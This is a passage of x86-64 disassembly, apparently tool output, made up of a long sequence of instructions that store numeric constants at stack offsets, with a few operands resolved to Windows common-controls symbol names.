mov dword [rsp + 0x7658], 0x8415
mov byte [rsp + 0x316], 0x14
mov eax, 0xfe8
mov word [rsp + 0x1e54], ax
mov eax, 0x7ae
mov word [rsp + 0x1e58], ax
mov byte [rsp + 0x317], 0x97
mov eax, 0xa8a
mov word [rsp + 0x1e5c], ax
mov byte [rsp + 0x318], 9
mov byte [rsp + 0x319], 0x7e
movabs rax, 0x78c427985ea287
mov qword [rsp + 0xef18], rax
mov dword [rsp + 0x765c], 0x2b0c
mov dword [rsp + 0x7660], 0x2db5
movabs rax, 0x77ea1d29ea998e
mov qword [rsp + 0xef20], rax
mov byte [rsp + 0x31a], 0x2a
movabs rax, 0x720b5b0651824f
mov qword [rsp + 0xef28], rax
movabs rax, 0x75ec2733a4f818
mov qword [rsp + 0xef30], rax
mov eax, 0x2ac
mov word [rsp + 0x1e60], ax
mov dword [rsp + 0x7664], 0xf93b
mov byte [rsp + 0x31b], 0xb1
movabs rax, 0x790bfd20f00815
mov qword [rsp + 0xef38], rax
movabs rax, 0x71c548528f12a8
mov qword [rsp + 0xef40], rax
mov eax, 0x62f
mov word [rsp + 0x1e64], ax
mov dword [rsp + 0x7668], 0x7dcb
movabs rax, 0x7012b22df55519
mov qword [rsp + 0xef48], rax
mov byte [rsp + 0x31c], 0x6e
movabs rax, 0x7589604defe571
mov qword [rsp + 0xef50], rax
mov dword [rsp + 0x766c], 0x2e79
mov eax, 0x8dd
mov word [rsp + 0x1e68], ax
mov eax, 0x783
mov word [rsp + 0x1e6c], ax
mov eax, 0x3bb
mov word [rsp + 0x1e70], ax
mov dword [rsp + 0x7670], 0x2160
movabs rax, 0x78f88bf0e9bcee
mov qword [rsp + 0xef58], rax
movabs rax, 0x73ba6681a6c7a3
mov qword [rsp + 0xef60], rax
mov dword [rsp + 0x7674], 0x5923
mov eax, 0xc6
mov word [rsp + 0x1e74], ax
mov byte [rsp + 0x31d], 0x6f
movabs rax, 0x72738a6f24e721
mov qword [rsp + 0xef68], rax
mov dword [rsp + 0x7678], 0xd2d9
movabs rax, 0x70207d95891938
mov qword [rsp + 0xef70], rax
mov eax, 0x40e
mov word [rsp + 0x1e78], ax
mov eax, 0x751
mov word [rsp + 0x1e7c], ax
movabs rax, 0x7a9cb11145e077
mov qword [rsp + 0xef78], rax
movabs rax, 0x7eb907c5017f71
mov qword [rsp + 0xef80], rax
movabs rax, 0x73d94dc887052e
mov qword [rsp + 0xef88], rax
mov dword [rsp + 0x767c], 0x221e
mov byte [rsp + 0x31e], 0x97
movabs rax, 0x7410b137cafe16
mov qword [rsp + 0xef90], rax
movabs rax, 0x7918781e80e3b7
mov qword [rsp + 0xef98], rax
mov byte [rsp + 0x31f], 0xea
movabs rax, 0x7dea619e9abb67
mov qword [rsp + 0xefa0], rax
mov dword [rsp + 0x7680], 0x36da
mov byte [rsp + 0x320], 0x47
mov dword [rsp + 0x7684], 0x2409
mov eax, 0x526
mov word [rsp + 0x1e80], ax
mov eax, 0xaa9
mov word [rsp + 0x1e84], ax
movabs rax, 0x77e735b92b05a9
mov qword [rsp + 0xefa8], rax
mov dword [rsp + 0x7688], 0x402d
mov eax, 0x22e
mov word [rsp + 0x1e88], ax
mov dword [rsp + 0x768c], 0x14a4
movabs rax, 0x7baed01e6b0b14
mov qword [rsp + 0xefb0], rax
mov byte [rsp + 0x321], 0x4f
mov dword [rsp + 0x7690], 0x4d32
mov eax, 0x3dc
mov word [rsp + 0x1e8c], ax
mov byte [rsp + 0x322], 0x99
movabs rax, 0x73ca14226767cd
mov qword [rsp + 0xefb8], rax
mov dword [rsp + 0x7694], 0x985
movabs rax, 0x75a1b55406a78f
mov qword [rsp + 0xefc0], rax
mov dword [rsp + 0x7698], 0x36f1
mov eax, 0x677
mov word [rsp + 0x1e90], ax
mov byte [rsp + 0x323], 0xad
movabs rax, 0x7570420209ec22
mov qword [rsp + 0xefc8], rax
mov byte [rsp + 0x324], 0x36
mov dword [rsp + 0x769c], 0x4883
movabs rax, 0x7bb45b77e0c2af
mov qword [rsp + 0xefd0], rax
movabs rax, 0x7d0f52a8b6a6d5
mov qword [rsp + 0xefd8], rax
movabs rax, 0x744476f54db80e
mov qword [rsp + 0xefe0], rax
movabs rax, 0x7b7bb3c17c26cb
mov qword [rsp + 0xefe8], rax
mov dword [rsp + 0x76a0], 0x40fb
mov byte [rsp + 0x325], 0x7f
mov eax, 0xb16
mov word [rsp + 0x1e94], ax
mov dword [rsp + 0x76a4], 0x8969
mov eax, 0x9a1
mov word [rsp + 0x1e98], ax
mov eax, 0x3f
mov word [rsp + 0x1e9c], ax
movabs rax, 0x7284388288a7c7
mov qword [rsp + 0xeff0], rax
mov dword [rsp + 0x76a8], 0xcfcd
mov eax, 0x29d
mov word [rsp + 0x1ea0], ax
mov dword [rsp + 0x76ac], 0x4dbe
mov eax, 0x148
mov word [rsp + 0x1ea4], ax
mov byte [rsp + 0x326], 0x28
mov dword [rsp + 0x76b0], 0xd892
movabs rax, 0x74eb06f45b26ad
mov qword [rsp + 0xeff8], rax
movabs rax, 0x73306a9d614b09
mov qword [rsp + 0xf000], rax
mov dword [rsp + 0x76b4], 0x73d3
mov eax, 0xc47
mov word [rsp + 0x1ea8], ax
mov eax, 0xfad
mov word [rsp + 0x1eac], ax
mov dword [rsp + 0x76b8], 0x61ec
mov byte [rsp + 0x327], 0x62
movabs rax, 0x7bcb1e45b1b672
mov qword [rsp + 0xf008], rax
mov dword [rsp + 0x76bc], 0xe99c
movabs rax, 0x7a4c600e188627
mov qword [rsp + 0xf010], rax
mov eax, 0x518
mov word [rsp + 0x1eb0], ax
mov dword [rsp + 0x76c0], 0xdb3
mov dword [rsp + 0x76c4], 0xf6a
movabs rax, 0x7c18113bea6030
mov qword [rsp + 0xf018], rax
mov eax, 0x77f
mov word [rsp + 0x1eb4], ax
movabs rax, 0x77f3f46fbad50b
mov qword [rsp + 0xf020], rax
movabs rax, 0x7bc7358d1b1a9e
mov qword [rsp + 0xf028], rax
mov dword [rsp + 0x76c8], 0x83c6
mov eax, 0xa8
mov word [rsp + 0x1eb8], ax
mov dword [rsp + 0x76cc], 0x444a
mov eax, 0x239
mov word [rsp + 0x1ebc], ax
mov dword [rsp + 0x76d0], 0x72e9
mov dword [rsp + 0x76d4], 0xc48
mov byte [rsp + 0x328], 0xa1
mov eax, 0x45a
mov word [rsp + 0x1ec0], ax
mov eax, 0x4d4
mov word [rsp + 0x1ec4], ax
mov byte [rsp + 0x329], 0x3c
mov byte [rsp + 0x32a], 0x23
mov eax, 0x6b1
mov word [rsp + 0x1ec8], ax
mov eax, 0xb57
mov word [rsp + 0x1ecc], ax
movabs rax, 0x79a3f7050512c8
mov qword [rsp + 0xf030], rax
mov dword [rsp + 0x76d8], 0x4a16
mov dword [rsp + 0x76dc], 0x6eed
movabs rax, 0x70e09af9b8e96c
mov qword [rsp + 0xf038], rax
mov eax, 0xe4
mov word [rsp + 0x1ed0], ax
mov eax, 0x28e
mov word [rsp + 0x1ed4], ax
mov dword [rsp + 0x76e0], 0x7ef8
movabs rax, 0x7895ec3c48e4e8
mov qword [rsp + 0xf040], rax
mov dword [rsp + 0x76e4], 0x61
mov dword [rsp + 0x76e8], 0x7a7a
mov eax, 0x4b9
mov word [rsp + 0x1ed8], ax
mov byte [rsp + 0x32b], 0x76
mov dword [rsp + 0x76ec], 0x324f
mov eax, 0x442
mov word [rsp + 0x1edc], ax
movabs rax, 0x75ea066662235e
mov qword [rsp + 0xf048], rax
mov byte [rsp + 0x32c], 0x18
mov dword [rsp + 0x76f0], 0x3395
mov dword [rsp + 0x76f4], 0x6cbb
mov eax, 0xf9c
mov word [rsp + 0x1ee0], ax
mov dword [rsp + 0x76f8], 0x60e6
mov dword [rsp + 0x76fc], 0x2e12
mov dword [rsp + 0x7700], 0x2831
mov byte [rsp + 0x32d], 2
mov dword [rsp + 0x7704], 0x550a
mov eax, 0x7b2
mov word [rsp + 0x1ee4], ax
movabs rax, 0x79d40c446598fd
mov qword [rsp + 0xf050], rax
mov byte [rsp + 0x32e], 0x5b
mov eax, 0x213
mov word [rsp + 0x1ee8], ax
mov byte [rsp + 0x32f], 0xe9
movabs rax, 0x783890007a8072
mov qword [rsp + 0xf058], rax
mov eax, 0x1e4
mov word [rsp + 0x1eec], ax
mov eax, 0x84e
mov word [rsp + 0x1ef0], ax
mov dword [rsp + 0x7708], 0x3440
mov dword [rsp + 0x770c], 0x48f4
mov eax, 0xd41
mov word [rsp + 0x1ef4], ax
movabs rax, 0x768ff214cd7b7b
mov qword [rsp + 0xf060], rax
mov eax, 0x394
mov word [rsp + 0x1ef8], ax
mov dword [rsp + 0x7710], 0xc76a
mov dword [rsp + 0x7714], 0x3eff
mov eax, 0x181
mov word [rsp + 0x1efc], ax
mov eax, 0x86f
mov word [rsp + 0x1f00], ax
mov byte [rsp + 0x330], 0x46
mov eax, 0x805
mov word [rsp + 0x1f04], ax
movabs rax, 0x7785ef971b7232
mov qword [rsp + 0xf068], rax
mov eax, 0x47a
mov word [rsp + 0x1f08], ax
mov eax, 0xa2d
mov word [rsp + 0x1f0c], ax
mov byte [rsp + 0x331], 0x14
mov eax, 0x58c
mov word [rsp + 0x1f10], ax
movabs rax, 0x7a29a3c1d8ed47
mov qword [rsp + 0xf070], rax
mov byte [rsp + 0x332], 0x63
mov byte [rsp + 0x333], 0x66
mov byte [rsp + 0x334], 0x64
mov eax, 0x64b
mov word [rsp + 0x1f14], ax
mov byte [rsp + 0x335], 0xa
mov eax, 0x32
mov word [rsp + 0x1f18], ax
mov eax, 0x7f6
mov word [rsp + 0x1f1c], ax
movabs rax, 0x708e6bd1847df0
mov qword [rsp + 0xf078], rax
mov eax, 0x153
mov word [rsp + 0x1f20], ax
movabs rax, 0x7286ef9f5ec886
mov qword [rsp + 0xf080], rax
mov byte [rsp + 0x336], 0xa4
mov eax, 0x579
mov word [rsp + 0x1f24], ax
movabs rax, 0x72de4c94520c74
mov qword [rsp + 0xf088], rax
movabs rax, 0x725122e6b4ff59
mov qword [rsp + 0xf090], rax
mov eax, 0x1bb
mov word [rsp + 0x1f28], ax
mov eax, 0xed3
mov word [rsp + 0x1f2c], ax
mov dword [rsp + 0x7718], 0x5fe2
movabs rax, 0x79833fa6f8021f
mov qword [rsp + 0xf098], rax
mov dword [rsp + 0x771c], 0xd688
movabs rax, 0x7a21d12e462fee
mov qword [rsp + 0xf0a0], rax
mov dword [rsp + 0x7720], 0x170a
mov eax, 0x4c
mov word [rsp + 0x1f30], ax
mov byte [rsp + 0x337], 0xf2
mov dword [rsp + 0x7724], 0x68be
mov eax, 0x313
mov word [rsp + 0x1f34], ax
mov eax, 0x57
mov word [rsp + 0x1f38], ax
movabs rax, 0x7bb4b57112c753
mov qword [rsp + 0xf0a8], rax
movabs rax, 0x79a34e33034ad9
mov qword [rsp + 0xf0b0], rax
mov eax, 0x65c
mov word [rsp + 0x1f3c], ax
movabs rax, 0x7237d4e1d37ad3
mov qword [rsp + 0xf0b8], rax
movabs rax, 0x70c571ca6ad1f5
mov qword [rsp + 0xf0c0], rax
mov eax, 0x3a4
mov word [rsp + 0x1f40], ax
movabs rax, 0x79d684d3a38a93
mov qword [rsp + 0xf0c8], rax
movabs rax, 0x77f366471d0b6f
mov qword [rsp + 0xf0d0], rax
mov eax, 0x4ab
mov word [rsp + 0x1f44], ax
mov dword [rsp + 0x7728], 0x6ebf
movabs rax, 0x7390483d152bbb
mov qword [rsp + 0xf0d8], rax
mov eax, 0x1fe
mov word [rsp + 0x1f48], ax
mov eax, 0x17c
mov word [rsp + 0x1f4c], ax
mov eax, 0x5d7
mov word [rsp + 0x1f50], ax
movabs rax, 0x7452e7ed2b3bf0
mov qword [rsp + 0xf0e0], rax
mov byte [rsp + 0x338], 0x3c
mov byte [rsp + 0x339], 0xa0
movabs rax, 0x72d9a263c66546
mov qword [rsp + 0xf0e8], rax
mov dword [rsp + 0x772c], 0x846
mov eax, 0x57d
mov word [rsp + 0x1f54], ax
mov byte [rsp + 0x33a], 0x53
movabs rax, 0x7a011b04fd06ed
mov qword [rsp + 0xf0f0], rax
mov byte [rsp + 0x33b], 0x78
movabs rax, 0x75700f4b4da461
mov qword [rsp + 0xf0f8], rax
mov byte [rsp + 0x33c], 0xf6
mov eax, 0x588
mov word [rsp + 0x1f58], ax
movabs rax, 0x737694676e9c95
mov qword [rsp + 0xf100], rax
movabs rax, 0x79caf18ff3277c
mov qword [rsp + 0xf108], rax
mov dword [rsp + 0x7730], 0x56c1
mov eax, 0xe6
mov word [rsp + 0x1f5c], ax
movabs rax, 0x7cbe9f3b8557e8
mov qword [rsp + 0xf110], rax
mov eax, 0x275
mov word [rsp + 0x1f60], ax
movabs rax, 0x78977264b4d75b
mov qword [rsp + 0xf118], rax
mov byte [rsp + 0x33d], 0x3b
mov eax, 0x5b5
mov word [rsp + 0x1f64], ax
movabs rax, 0x7cd00c5e3a8682
mov qword [rsp + 0xf120], rax
mov byte [rsp + 0x33e], 0xdd
mov byte [rsp + 0x33f], 0x9e
movabs rax, 0x7e0c68a4ad1ab5
mov qword [rsp + 0xf128], rax
mov dword [rsp + 0x7734], 0x3c13
mov dword [rsp + 0x7738], 0x2707
mov dword [rsp + 0x773c], 0x7a82
mov eax, 0x49a
mov word [rsp + 0x1f68], ax
mov dword [rsp + 0x7740], 0x15a8
mov eax, 0x80b
mov word [rsp + 0x1f6c], ax
mov byte [rsp + 0x340], 0x30
mov eax, 0xbb3
mov word [rsp + 0x1f70], ax
mov dword [rsp + 0x7744], 0x5c05
movabs rax, 0x7ea74876926d1b
mov qword [rsp + 0xf130], rax
movabs rax, 0x7b31c620304aa0
mov qword [rsp + 0xf138], rax
mov dword [rsp + 0x7748], 0x4003
mov byte [rsp + 0x341], 0x7f
movabs rax, 0x7b15e429875e15
mov qword [rsp + 0xf140], rax
movabs rax, 0x723e9b6bf365ca
mov qword [rsp + 0xf148], rax
mov dword [rsp + 0x774c], 0xd375
movabs rax, 0x70a28733df5ad0
mov qword [rsp + 0xf150], rax
movabs rax, 0x78a8d655a25d94
mov qword [rsp + 0xf158], rax
movabs rax, 0x73a9223005e797
mov qword [rsp + 0xf160], rax
movabs rax, 0x75a2bc25e33b42
mov qword [rsp + 0xf168], rax
mov dword [rsp + 0x7750], 0x50d1
movabs rax, 0x776f1f9395e50e
mov qword [rsp + 0xf170], rax
mov eax, 0x6ce
mov word [rsp + 0x1f74], ax
mov dword [rsp + 0x7754], 0xf850
mov dword [rsp + 0x7758], 0x71ce
mov eax, 0x7ac
mov word [rsp + 0x1f78], ax
mov eax, 0x73c
mov word [rsp + 0x1f7c], ax
movabs rax, 0x70d076dc0e925c
mov qword [rsp + 0xf178], rax
mov dword [rsp + 0x775c], 0x4b9b
movabs rax, 0x7630adc12cddac
mov qword [rsp + 0xf180], rax
mov dword [rsp + 0x7760], 0x7a21
mov dword [rsp + 0x7764], 0x6a
mov eax, 0x6b1
mov word [rsp + 0x1f80], ax
mov eax, 0x34b
mov word [rsp + 0x1f84], ax
movabs rax, 0x700639841faef6
mov qword [rsp + 0xf188], rax
mov dword [rsp + 0x7768], 0x2a21
mov eax, 0xff8
mov word [rsp + 0x1f88], ax
mov dword [rsp + 0x776c], 0xfbf1
mov byte [rsp + 0x342], 0x12
mov eax, 0xbc6
mov word [rsp + 0x1f8c], ax
mov dword [rsp + 0x7770], 0x4d2b
movabs rax, 0x70a3fbfcc00c02
mov qword [rsp + 0xf190], rax
mov byte [rsp + 0x343], 0x12
movabs rax, 0x7301cdbc06d1c1
mov qword [rsp + 0xf198], rax
mov eax, 0x2ea
mov word [rsp + 0x1f90], ax
movabs rax, 0x77b6eb06bd50bf
mov qword [rsp + 0xf1a0], rax
mov byte [rsp + 0x344], 0xa0
mov byte [rsp + 0x345], 0x17
mov eax, 0x3d2
mov word [rsp + 0x1f94], ax
movabs rax, 0x78dc93744cc510
mov qword [rsp + 0xf1a8], rax
movabs rax, 0x71032e4b8d1274
mov qword [rsp + 0xf1b0], rax
movabs rax, 0x7dcd6b67805740
mov qword [rsp + 0xf1b8], rax
mov eax, 0x109
mov word [rsp + 0x1f98], ax
mov byte [rsp + 0x346], 0x5f
mov byte [rsp + 0x347], 5
mov dword [rsp + 0x7774], 0x84dc
movabs rax, 0x7409787d14ac0b
mov qword [rsp + 0xf1c0], rax
mov dword [rsp + 0x7778], 0x138b
mov dword [rsp + 0x777c], 0x186a
movabs rax, 0x74e21c785ec184
mov qword [rsp + 0xf1c8], rax
movabs rax, 0x7e090546c9cac6
mov qword [rsp + 0xf1d0], rax
mov eax, 0x26a
mov word [rsp + 0x1f9c], ax
movabs rax, 0x7936e5ff205ee9
mov qword [rsp + 0xf1d8], rax
mov dword [rsp + 0x7780], 0x38a8
mov byte [rsp + 0x348], 0x1d
mov byte [rsp + 0x349], 0xcb
mov byte [rsp + 0x34a], DrawInsert
movabs rax, 0x7c43fad3c79427
mov qword [rsp + 0xf1e0], rax
mov byte [rsp + 0x34b], 0x56
mov byte [rsp + 0x34c], 0x88
mov eax, 0xaca
mov word [rsp + 0x1fa0], ax
movabs rax, 0x74226ba1fc98ee
mov qword [rsp + 0xf1e8], rax
mov eax, 0x4e0
mov word [rsp + 0x1fa4], ax
mov byte [rsp + 0x34d], 0
mov byte [rsp + 0x34e], 0x47
mov eax, 0x9dd
mov word [rsp + 0x1fa8], ax
mov byte [rsp + 0x34f], 0x59
mov eax, 0x8ee
mov word [rsp + 0x1fac], ax
mov dword [rsp + 0x7784], 0x21aa
movabs rax, 0x762db893472554
mov qword [rsp + 0xf1f0], rax
mov byte [rsp + 0x350], 0xb9
movabs rax, 0x7830b4ed4a8346
mov qword [rsp + 0xf1f8], rax
mov byte [rsp + 0x351], 0xf3
mov eax, 0x26c
mov word [rsp + 0x1fb0], ax
mov dword [rsp + 0x7788], 0x658a
mov eax, 0x807
mov word [rsp + 0x1fb4], ax
mov byte [rsp + 0x352], 0xca
mov dword [rsp + 0x778c], 0x242a
movabs rax, 0x72445d4cb644ec
mov qword [rsp + 0xf200], rax
mov byte [rsp + 0x353], 0xe1
movabs rax, 0x70658d88a5ab89
mov qword [rsp + 0xf208], rax
movabs rax, 0x79cae90385f76a
mov qword [rsp + 0xf210], rax
mov dword [rsp + 0x7790], 0xe232
movabs rax, 0x798f80bed87eaf
mov qword [rsp + 0xf218], rax
mov eax, 0x254
mov word [rsp + 0x1fb8], ax
movabs rax, 0x711a6d3fc01566
mov qword [rsp + 0xf220], rax
mov eax, 0x1fe
mov word [rsp + 0x1fbc], ax
movabs rax, 0x7e19c49692413d
mov qword [rsp + 0xf228], rax
mov eax, 0xae3
mov word [rsp + 0x1fc0], ax
mov eax, 0x215
mov word [rsp + 0x1fc4], ax
mov dword [rsp + 0x7794], 0x8182
mov eax, 0x405
mov word [rsp + 0x1fc8], ax
mov byte [rsp + 0x354], 0x1c
movabs rax, 0x70cf749b6a4d52
mov qword [rsp + 0xf230], rax
mov eax, 0x4a5
mov word [rsp + 0x1fcc], ax
mov dword [rsp + 0x7798], 0x751e
mov eax, 0x2ae
mov word [rsp + 0x1fd0], ax
mov eax, 0x3a0
mov word [rsp + 0x1fd4], ax
mov dword [rsp + 0x779c], 0x54bd
movabs rax, 0x77cbf37e2f2627
mov qword [rsp + 0xf238], rax
mov dword [rsp + 0x77a0], 0x7c9a
mov dword [rsp + 0x77a4], 0x417b
movabs rax, 0x7c0ad9caa08ba3
mov qword [rsp + 0xf240], rax
mov dword [rsp + 0x77a8], 0x5ff
mov dword [rsp + 0x77ac], 0xb172
mov byte [rsp + 0x355], 0xc9
mov byte [rsp + 0x356], 0x1c
movabs rax, 0x7e0b0bfaac3a88
mov qword [rsp + 0xf248], rax
mov byte [rsp + 0x357], 0x2d
movabs rax, 0x792f1e878a6457
mov qword [rsp + 0xf250], rax
mov byte [rsp + 0x358], 0x3b
mov eax, 0x3e0
mov word [rsp + 0x1fd8], ax
movabs rax, 0x76375f622e65da
mov qword [rsp + 0xf258], rax
mov dword [rsp + 0x77b0], 0x5587
mov dword [rsp + 0x77b4], 0x447e
mov eax, 0xd37
mov word [rsp + 0x1fdc], ax
mov eax, 0x459
mov word [rsp + 0x1fe0], ax
mov dword [rsp + 0x77b8], 0x93a7
mov eax, 0x8ac
mov word [rsp + 0x1fe4], ax
movabs rax, 0x7ee4015d7276e2
mov qword [rsp + 0xf260], rax
mov eax, SetWindowSubclass
mov word [rsp + 0x1fe8], ax
mov byte [rsp + 0x359], 0x16
mov dword [rsp + 0x77bc], 0x6d29
mov byte [rsp + 0x35a], 0x53
mov eax, 0x45
mov word [rsp + 0x1fec], ax
mov byte [rsp + 0x35b], 0x32
mov dword [rsp + 0x77c0], 0x32c5
movabs rax, 0x7100fb940f5690
mov qword [rsp + 0xf268], rax
movabs rax, 0x7dd89840907538
mov qword [rsp + 0xf270], rax
movabs rax, 0x787596141b7472
mov qword [rsp + 0xf278], rax
mov dword [rsp + 0x77c4], 0xfac0
mov dword [rsp + 0x77c8], 0x7b70
mov eax, 0x7c2
mov word [rsp + 0x1ff0], ax
mov eax, 0x73f
mov word [rsp + 0x1ff4], ax
mov dword [rsp + 0x77cc], 0xcbb
mov byte [rsp + 0x35c], 0x6d
mov byte [rsp + 0x35d], 0x8d
mov eax, 0x522
mov word [rsp + 0x1ff8], ax
mov dword [rsp + 0x77d0], 0xa815
movabs rax, 0x7398b241927960
mov qword [rsp + 0xf280], rax
movabs rax, 0x7c0b4c30e88a13
mov qword [rsp + 0xf288], rax
mov dword [rsp + 0x77d4], 0x52fc
mov dword [rsp + 0x77d8], 0x85ea
mov dword [rsp + 0x77dc], 0x6c89
mov byte [rsp + 0x35e], 0x42
mov eax, 0xad
mov word [rsp + 0x1ffc], ax
mov byte [rsp + 0x35f], 0x88
movabs rax, 0x724959744b947d
mov qword [rsp + 0xf290], rax
mov byte [rsp + 0x360], 0x31
movabs rax, 0x788d3c156ca083
mov qword [rsp + 0xf298], rax
movabs rax, 0x73196c1ef2a562
mov qword [rsp + 0xf2a0], rax
mov dword [rsp + 0x77e0], 0x4d0d
mov eax, 0x218
mov word [rsp + 0x2000], ax
mov byte [rsp + 0x361], 0xa
mov byte [rsp + 0x362], 0x5b
mov dword [rsp + 0x77e4], 0x2f7
mov eax, 0xd4a
mov word [rsp + 0x2004], ax
mov byte [rsp + 0x363], 0x6a
movabs rax, 0x7b7c85eda7f084
mov qword [rsp + 0xf2a8], rax
mov byte [rsp + 0x364], 0x61
mov dword [rsp + 0x77e8], 0x1d2b
movabs rax, 0x7ca6eb6ede4a21
mov qword [rsp + 0xf2b0], rax
movabs rax, 0x7c560dfaeae3e0
mov qword [rsp + 0xf2b8], rax
mov eax, 0x256
mov word [rsp + 0x2008], ax
movabs rax, 0x768aea4075e8c3
mov qword [rsp + 0xf2c0], rax
mov eax, 0x4e8
mov word [rsp + 0x200c], ax
mov dword [rsp + 0x77ec], 0x28c2
mov dword [rsp + 0x77f0], 0xe76
mov eax, 0x268
mov word [rsp + 0x2010], ax
movabs rax, 0x764e5fac062431
mov qword [rsp + 0xf2c8], rax
movabs rax, 0x76e2a2c3def77f
mov qword [rsp + 0xf2d0], rax
mov eax, 0x446
mov word [rsp + 0x2014], ax
mov byte [rsp + 0x365], 0x6e
mov dword [rsp + 0x77f4], 0x9bd0
mov eax, 0x77d
mov word [rsp + 0x2018], ax
movabs rax, 0x753099faae2c98
mov qword [rsp + 0xf2d8], rax
mov dword [rsp + 0x77f8], 0x5c93
mov dword [rsp + 0x77fc], 0x3c2
mov eax, 7
mov word [rsp + 0x201c], ax
mov byte [rsp + 0x366], 0x56
movabs rax, 0x7230fb735a5f7d
mov qword [rsp + 0xf2e0], rax
movabs rax, 0x7a161cf05c99aa
mov qword [rsp + 0xf2e8], rax
movabs rax, 0x75636fd2481684
mov qword [rsp + 0xf2f0], rax
mov dword [rsp + 0x7800], 0x1d72
movabs rax, 0x7be447fe1d7edd
mov qword [rsp + 0xf2f8], rax
mov dword [rsp + 0x7804], 0x13b3
mov eax, 0xdce
mov word [rsp + 0x2020], ax
movabs rax, 0x73f20ea54a9772
mov qword [rsp + 0xf300], rax
movabs rax, 0x7bd2b45a969a5a
mov qword [rsp + 0xf308], rax
mov dword [rsp + 0x7808], 0xaaab
movabs rax, 0x70be4a8a6d1b41
mov qword [rsp + 0xf310], rax
mov eax, 0x791
mov word [rsp + 0x2024], ax
mov byte [rsp + 0x367], reloc.COMCTL32.dll_LBItemFromPt
movabs rax, 0x7497737c5a744a
mov qword [rsp + 0xf318], rax
movabs rax, 0x761f666a338fde
mov qword [rsp + 0xf320], rax
movabs rax, 0x7019bbc3a48225
mov qword [rsp + 0xf328], rax
movabs rax, 0x7c63070e2cef4a
mov qword [rsp + 0xf330], rax
mov eax, 0x7cc
mov word [rsp + 0x2028], ax
mov eax, 0x247
mov word [rsp + 0x202c], ax
mov eax, 0x64c
mov word [rsp + 0x2030], ax
mov eax, 0x7d4
mov word [rsp + 0x2034], ax
mov eax, 0x36f
mov word [rsp + 0x2038], ax
mov byte [rsp + 0x368], 0x99
movabs rax, 0x7e01a33c75f89f
mov qword [rsp + 0xf338], rax
mov eax, 0x7c4
mov word [rsp + 0x203c], ax
mov dword [rsp + 0x780c], 0x49d8
mov eax, 0xdec
mov word [rsp + 0x2040], ax
mov dword [rsp + 0x7810], 0x5853
mov dword [rsp + 0x7814], 0x7cbe
mov eax, 0x159
mov word [rsp + 0x2044], ax
mov byte [rsp + 0x369], 0xd9
mov byte [rsp + 0x36a], 0x29
mov eax, 0x367
mov word [rsp + 0x2048], ax
mov byte [rsp + 0x36b], 0x9e
mov byte [rsp + 0x36c], 0x42
mov dword [rsp + 0x7818], 0x2514
mov byte [rsp + 0x36d], 0xc5
mov eax, 0xfa
mov word [rsp + 0x204c], ax
mov byte [rsp + 0x36e], 0x5b
movabs rax, 0x791765697168c4
mov qword [rsp + 0xf340], rax
mov byte [rsp + 0x36f], 0x25
mov dword [rsp + 0x781c], 0x224f
mov dword [rsp + 0x7820], 0x6c4e
movabs rax, 0x7c8f3a194cf404
mov qword [rsp + 0xf348], rax
mov dword [rsp + 0x7824], 0x1c4
movabs rax, 0x7c01e29143d652
mov qword [rsp + 0xf350], rax
mov eax, 0x63b
mov word [rsp + 0x2050], ax
mov dword [rsp + 0x7828], 0xc868
movabs rax, 0x721f1332ff2a45
mov qword [rsp + 0xf358], rax
mov eax, 0xb01
mov word [rsp + 0x2054], ax
movabs rax, 0x7011a8591e873a
mov qword [rsp + 0xf360], rax
mov dword [rsp + 0x782c], 0x3f76
mov dword [rsp + 0x7830], 0x4990
mov eax, 0x246
mov word [rsp + 0x2058], ax
mov eax, 0xe5
mov word [rsp + 0x205c], ax
mov dword [rsp + 0x7834], 0x68c3
mov eax, 0x5ca
mov word [rsp + 0x2060], ax
mov dword [rsp + 0x7838], 0x4659
movabs rax, 0x778b09b46f821d
mov qword [rsp + 0xf368], rax
mov byte [rsp + 0x370], 0x1e
mov dword [rsp + 0x783c], 0xde52
mov dword [rsp + 0x7840], 0x745f
movabs rax, 0x7c51f483ddd362
mov qword [rsp + 0xf370], rax
mov byte [rsp + 0x371], 0xc2
mov dword [rsp + 0x7844], 0x1da5
mov dword [rsp + 0x7848], 0x10
mov dword [rsp + 0x784c], 0x3a31
movabs rax, 0x7d6c438afd8e83
mov qword [rsp + 0xf378], rax
mov byte [rsp + 0x372], 0xaa
mov byte [rsp + 0x373], 0xac
mov dword [rsp + 0x7850], 0x7aef
mov dword [rsp + 0x7854], 0x78a9
mov byte [rsp + 0x374], 0x24
mov byte [rsp + 0x375], 0x71
movabs rax, 0x7b2e518acec8d9
mov qword [rsp + 0xf380], rax
mov dword [rsp + 0x7858], 0xe150
mov dword [rsp + 0x785c], 0xd25b
movabs rax, 0x7b90e916239291
mov qword [rsp + 0xf388], rax
mov dword [rsp + 0x7860], 0xd063
movabs rax, 0x7d44c7a396b125
mov qword [rsp + 0xf390], rax
mov dword [rsp + 0x7864], 0x6940
mov byte [rsp + 0x376], 0x81
movabs rax, 0x7136417b58f570
mov qword [rsp + 0xf398], rax
mov eax, 0x9f
mov word [rsp + 0x2064], ax
movabs rax, 0x741dddd5e3357c
mov qword [rsp + 0xf3a0], rax
movabs rax, 0x73cccab2d987a4
mov qword [rsp + 0xf3a8], rax
mov dword [rsp + 0x7868], 0x754a
movabs rax, 0x7555869dc4f90c
mov qword [rsp + 0xf3b0], rax
mov byte [rsp + 0x377], 0x69
mov byte [rsp + 0x378], 0x4b
movabs rax, 0x73420f5c2ae9f9
mov qword [rsp + 0xf3b8], rax
mov dword [rsp + 0x786c], 0x6386
mov dword [rsp + 0x7870], 0xc1a8
mov eax, 0x33
mov word [rsp + 0x2068], ax
mov byte [rsp + 0x379], 0x82
mov eax, 0x33d
mov word [rsp + 0x206c], ax
mov dword [rsp + 0x7874], 0x9b12
mov dword [rsp + 0x7878], 0xf27f
movabs rax, 0x75c061df0c011d
mov qword [rsp + 0xf3c0], rax
mov eax, 0x7cb
mov word [rsp + 0x2070], ax
movabs rax, 0x70f43b7715d886
mov qword [rsp + 0xf3c8], rax
movabs rax, 0x799e48fba73088
mov qword [rsp + 0xf3d0], rax
movabs rax, 0x773455b93cb76d
mov qword [rsp + 0xf3d8], rax
movabs rax, 0x722020faebe8e6
mov qword [rsp + 0xf3e0], rax
mov dword [rsp + 0x787c], 0xc55
movabs rax, 0x7ddc770fa1ee70
mov qword [rsp + 0xf3e8], rax
mov dword [rsp + 0x7880], 0xbe89
movabs rax, 0x7eb5774a645d94
mov qword [rsp + 0xf3f0], rax
movabs rax, 0x76d7749b554876
mov qword [rsp + 0xf3f8], rax
mov eax, 0x5f5
mov word [rsp + 0x2074], ax
mov eax, 0x20f
